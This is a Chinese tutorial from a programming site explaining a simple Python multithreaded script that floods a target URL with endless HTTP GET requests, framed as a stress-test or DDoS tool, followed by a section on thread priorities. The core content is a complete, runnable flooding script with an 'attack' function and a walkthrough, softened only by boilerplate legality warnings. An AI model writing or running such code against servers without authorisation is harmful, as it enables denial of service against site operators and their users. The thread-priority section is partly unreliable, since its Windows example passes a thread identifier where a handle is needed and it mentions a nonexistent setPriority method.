基于python编写一个简单的压力测试(DDoS)脚本

 更新时间:2024年12月12日 09:43:28   作者:乐茵安全  
这篇文章主要为大家详细介绍了如何基于python编写一个简单的压力测试(DDoS)脚本,文中的示例代码讲解详细,感兴趣的小伙伴可以了解一下

DDoS测试脚本

源码

import requests
import threading
 
# 目标URL
target_url = "http://47.121.xxx.xxx/"
 
 
# 发送请求的函数
def send_request():
    while True:
        try:
            response = requests.get(target_url)
            print(f"Sent request to {target_url}, Status Code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")
 
 
# 创建多个线程进行攻击
def start_attack(thread_counts):
    threads = []
    for i in range(thread_counts):
        thread = threading.Thread(target=send_request)
        threads.append(thread)
        thread.start()
 
    for thread in threads:
        thread.join()
 
 
if __name__ == "__main__":
    # 设置线程数量
    thread_count = 10
    start_attack(thread_count)

源码解析

代码结构

1.导入模块

import requests
import threading

requests 模块用于发送HTTP请求。

threading 模块用于创建和管理线程。

2.定义目标URL

target_url = "http://47.121.xxx.xxx/"

这里指定了要发送请求的目标URL。

3.发送请求的函数

def send_request():
    while True:
        try:
            response = requests.get(target_url)
            print(f"Sent request to {target_url}, Status Code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

send_request 函数在一个无限循环中不断发送HTTP GET请求到目标URL。

使用 try-except 块捕获可能的请求异常,并打印错误信息。

4.创建多个线程进行攻击

def start_attack(thread_counts):
    threads = []
    for i in range(thread_counts):
        thread = threading.Thread(target=send_request)
        threads.append(thread)
        thread.start()
 
    for thread in threads:
        thread.join()

start_attack 函数接受一个参数 thread_counts,表示要创建的线程数量。

使用一个循环创建指定数量的线程,每个线程的目标函数是 send_request。

启动所有线程后,使用 join 方法等待所有线程完成。

5.主程序入口

if __name__ == "__main__":
    # 设置线程数量
    thread_count = 10
    start_attack(thread_count)

在主程序入口处,设置线程数量为10,并调用 start_attack 函数启动攻击。

功能描述

该脚本的主要功能是对指定的目标URL进行高并发的HTTP GET请求。

通过创建多个线程,每个线程不断发送请求,从而实现对目标服务器的压力测试或DDoS攻击。

注意事项

合法性:这种行为可能违反目标服务器的使用条款,甚至可能触犯法律。未经授权进行此类操作是非法的,请务必确保在合法授权的情况下进行。

道德性:即使有授权,也应考虑对目标服务器的影响,避免对其造成不必要的负担或损害。

安全建议

避免滥用:不要将此类脚本用于恶意目的,如DDoS攻击。

合理使用:仅在合法授权的情况下,用于性能测试或安全评估。

监控与控制:在实际使用中,应设置合理的请求频率和线程数量,避免对目标服务器造成过大压力。

总之,这段代码展示了如何使用Python进行多线程HTTP请求,但在实际使用中应严格遵守法律法规和道德准则。

多线程的优先级调用

在 Python 中,线程优先级通常不由开发者直接设置,而是依赖于操作系统的线程调度机制。Python 的 threading 模块并没有提供直接设置线程优先级的功能。不过,你可以使用 os 模块中的 nice() 函数来尝试影响线程的优先级,但这通常只在 Unix/Linux 系统上有效,并且这种影响是有限的。

以下是一个示例,展示如何在 Unix/Linux 系统上使用 os.nice() 来尝试调整线程的优先级:

import threading
import os
import time
 
def worker():
    while True:
        print(f"Thread {threading.current_thread().name} is running")
        time.sleep(1)
 
# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")
 
# 设置线程的优先级(仅适用于 Unix/Linux)
try:
    # 设置线程的 nice 值为 10(较低的优先级)
    os.nice(10)
except AttributeError:
    print("Setting thread priority is not supported on this platform.")
 
# 启动线程
t.start()
 
# 主线程等待一段时间后退出
time.sleep(5)

在这个示例中,我们创建了一个新线程并尝试使用 os.nice() 来设置其优先级。需要注意的是,os.nice() 影响的是进程的优先级,而不是单个线程的优先级。在 Unix/Linux 系统上,Python 线程实际上是共享同一个进程的,因此 os.nice() 会影响整个进程及其所有线程。

如果你需要在 Windows 系统上设置线程优先级,可以使用 threading.Thread 的 setPriority() 方法(这是一个非标准的扩展,只在某些版本的 Python 中可用),或者使用 ctypes 库来调用 Windows API。

以下是一个在 Windows 上使用 ctypes 设置线程优先级的示例:

import threading
import ctypes
import time
 
# 定义线程优先级常量
THREAD_PRIORITY_LOWEST = 19
 
def set_thread_priority(thread, priority):
    """设置线程的优先级"""
    ctypes.windll.kernel32.SetThreadPriority(ctypes.c_long(thread.ident), priority)
 
def worker():
    while True:
        print(f"Thread {threading.current_thread().name} is running")
        time.sleep(1)
 
# 创建一个新线程
t = threading.Thread(target=worker, name="WorkerThread")
 
# 启动线程
t.start()
 
# 设置线程的优先级
set_thread_priority(t, THREAD_PRIORITY_LOWEST)
 
# 主线程等待一段时间后退出
time.sleep(5)

在这个示例中,我们使用 ctypes 库调用 Windows API 来设置线程的优先级。这种方法更为复杂,但提供了更细粒度的控制。

需要注意的是,调整线程优先级可能会影响程序的性能和响应性,因此应谨慎使用,并确保充分测试。

以上就是基于python编写一个简单的压力测试(DDoS)脚本的详细内容,更多关于python编写压力测试DDoS脚本的资料请关注脚本之家其它相关文章!

相关文章

  • 利用OpenCV给彩色图像添加椒盐噪声的方法

    利用OpenCV给彩色图像添加椒盐噪声的方法

    椒盐噪声是数字图像中的常见噪声,一般是图像传感器、传输信道及解码处理等产生的黑白相间的亮暗点噪声,椒盐噪声常由图像切割产生,这篇文章主要给大家介绍了关于利用OpenCV给彩色图像添加椒盐噪声的相关资料,需要的朋友可以参考下
    2021-10-10
  • PyCharm无法登陆Codeium的解决方法

    PyCharm无法登陆Codeium的解决方法

    Codeium插件可以自动建议、解释代码、生成注释和根据注释生成代码等,本文主要介绍了PyCharm无法登陆Codeium的解决方法,感兴趣的可以了解一下
    2023-11-11
  • python中getopt()函数用法详解

    python中getopt()函数用法详解

    这篇文章主要介绍了python中getopt()函数用法,通过getopt模块中的getopt( )方法,我们可以获取和解析命令行传入的参数,需要的朋友可以参考下
    2022-12-12
  • Python实现AI自动玩俄罗斯方块游戏

    Python实现AI自动玩俄罗斯方块游戏

    提到《俄罗斯方块》,那真是几乎无人不知无人不晓。其历史之悠久,可玩性之持久,能手轻轻一挥,吊打一大波游戏。本文将利用Python实现俄罗斯方块进阶版—AI自动玩俄罗斯方块,感兴趣的可以学习一下
    2022-03-03
  • keras实现多GPU或指定GPU的使用介绍

    keras实现多GPU或指定GPU的使用介绍

    这篇文章主要介绍了keras实现多GPU或指定GPU的使用介绍,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-06-06
  • Python入门之实例方法、类方法和静态方法的区别讲解

    Python入门之实例方法、类方法和静态方法的区别讲解

    这篇文章主要介绍了Python入门之实例方法、类方法和静态方法的区别讲解,实例方法是在创建了类的实例之后才能被调用的方法,类方法是在不需要创建类的实例的情况下就可以调用的方法,最后,静态方法是与类和类的实例都没有绑定关系的方法,需要的朋友可以参考下
    2023-10-10
  • 使用python对excle和json互相转换的示例

    使用python对excle和json互相转换的示例

    今天小编就为大家分享一篇使用python对excle和json互相转换的示例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2018-10-10
  • Python绘制直方图的示例代码

    Python绘制直方图的示例代码

    本文主要介绍了如何使用Python绘制直方图,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-07-07
  • Python脚本简单实现打开默认浏览器登录人人和打开QQ的方法

    Python脚本简单实现打开默认浏览器登录人人和打开QQ的方法

    这篇文章主要介绍了Python脚本简单实现打开默认浏览器登录人人和打开QQ的方法,涉及Python针对浏览器及应用程序的相关操作技巧,代码非常简单实用,需要的朋友可以参考下
    2016-04-04
  • Python面向对象类的继承实例详解

    Python面向对象类的继承实例详解

    这篇文章主要介绍了Python面向对象类的继承,结合实例形式详细分析了Python面向对象程序设计中类的继承原理、定义、使用方法及相关操作注意事项,需要的朋友可以参考下
    2018-06-06

最新评论